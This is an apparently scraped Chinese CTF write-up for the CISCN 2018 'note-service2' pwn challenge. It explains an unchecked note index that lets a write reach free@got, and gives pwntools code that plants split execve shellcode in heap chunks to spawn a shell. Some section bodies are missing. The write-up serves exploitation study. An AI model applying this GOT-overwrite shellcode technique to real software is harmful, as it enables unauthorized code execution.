其他分享
首页 > 其他分享> > CISCN-2018-Quals-note-service2

CISCN-2018-Quals-note-service2

作者:互联网

CISCN-2018-Quals-note-service2

总结

做完这道题,收获如下:

Checksec

发现关闭了NX,可能要利用shellcode。

题目分析

首先把附件放在IDA中打开,发现是个菜单题:

main

sub_E30:

menu:

add_note:

可以看到,没有检查idx是否合法,可以在任意地址写一个对地址。

注意:如果申请的大小为8,最多只能写7个字节。

delete_note:

选项2和选项3并没有什么用。

由于程序关闭了堆栈不可执行,因此可以考虑修改某一个函数got表的内容为堆地址,在堆上写shellcode。

解题思路

尝试的解题思路

最终解题思路

编写EXP

首先把函数写好:

def add_note(idx:int, size:int, content:bytes=b'\x00'):
    global io
    io.sendlineafter("your choice>> ", '1')
    io.sendlineafter("index:", str(idx))
    io.sendlineafter("size:", str(size))
    io.sendlineafter("content:", content)

def delete_note(idx:int):
    global io
    io.sendlineafter("your choice>> ", '4')
    io.sendlineafter("index:", str(idx))

首先分配一块带有/bin/sh的,预备调用。然后,往索引为-17处分配,修改free@got的内容为堆地址,顺便写上一条shellcodexor rsi, rsi。这里选用\xc0作为滑板指令。

add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\xC0\xC0\xEB\x19')

-17的计算是这样的:

可以看到,free@got的偏移为0x202018,题目中存储堆地址起始位置为0x2020a0,所以索引就是(0x202018 - 0x2020a0) // 8 = -17

这里给出申请前后free@got的内容变化:

申请前:

申请后:

可以看到,free@got已修改成功,同时写上了xor rsi,rsi; \xc0\xc0\xeb\x19

然后继续写:

add_note(1, 8, asm('xor rdx, rdx') + b'\xC0\xC0\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))

之后就会:

最后:

delete_note(0) # get shell

标签:rsi,Quals,mov,note,add,got,service2,shellcode
来源: https://www.cnblogs.com/LynneHuan/p/14427269.html